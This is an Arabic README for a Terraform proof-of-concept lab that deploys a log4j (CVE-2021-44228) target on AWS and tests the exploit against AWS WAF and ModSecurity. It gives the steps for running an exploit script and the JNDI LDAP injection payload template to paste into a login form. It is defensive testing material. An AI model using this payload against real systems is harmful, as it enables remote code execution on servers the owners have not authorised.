
ملفات هذا المشروع توضح إثباتًا لمفهوم ثغرة log4j (CVE-2021-44228) على AWS باستخدام وسائل البنية التحتية كرمز Terraform.
ملفات هذا المشروع تُظهر إثبات المفهوم لثغرة log4j (CVE-2021-44228) على AWS باستخدام وسائل البنية التحتية ككود (Terraform).
يوجد عرضان توضيحيان في هذا المشروع:
الخلاصة: العرض الأول يُظهر استغلالًا ناجحًا باستخدام AWS WAF. العرض الثاني كان محاولة غير ناجحة عند تثبيت ModSecurity. إزالة ModSecurity ستجعل الاستغلال ناجحًا. قد يكون ذلك لأن ModSecurity مشروع نشط، لذلك تم تحديد وسلاسل الثغرة وتصفيتها.
مصدر إثبات المفهوم هذا من: https://github.com/kozmer/log4j-shell-poc
تشرح هذه المدونة على Medium كيفية سير محاولتها: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873
شخصيًا، اختبرت باستخدام Windows + Powershell، الجهاز السحابي هو Ubuntu 18 LTS. (الاستغلال باستخدام Kali أو أي توزيعة Linux)
أنشئ عبر الويب (سمِّه 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs
https://us-east-1.console.aws.amazon.com/iamv2/home#/users > حدد المستخدم > حدد قسم security_credentials
Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"
Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"
cd single-instance
terraform init
terraform apply
بعد التشغيل، سيتم عرض عنوان IP / DNS.
للمثيل الفردي، تأكد من إمكانية الوصول إلى http:<aws host url>:8080
للمثيل المزدوج، تأكد من إمكانية الوصول إلى http:<aws host url>
* يرجى ملاحظة أن تشغيل 'double-instance' يستغرق وقتًا أطول بكثير، يمكنك استخدام journalctl -f بعد SSH إلى النظام لمتابعة التقدم.
إذا تابعت journal، فإن "Reached target Cloud-init target." يعني أنه في حالة الاستعداد.

تعيين صلاحية التنفيذ
chmod +x ../exploit-script-remote.sh
تشغيل البرنامج النصي مع المتغير المقدم
../exploit-script-remote.sh
لاحظ أن الحمولة تُعرض في نهاية البرنامج النصي مشابهة لـ ${jndi:ldap://<ip-address>:1389/a}
زيارة http:<aws host url>:8080
انسخ الحمولة في حقل 'username' ثم أرسل النموذج

ملف JDK: تأكد من أن التكامل من مصدر Baidu بنفس التجزئة من Oracle SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974
المثيل: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance
المثيل الفوري: https://www.tderflinger.com/en/ec2-spot-with-terraform
SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html
[مفتاح SSH أثناء التشغيل] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform
WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/
القوالب: https://spacelift.io/blog/terraform-templates
معرف منطقة AWS: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones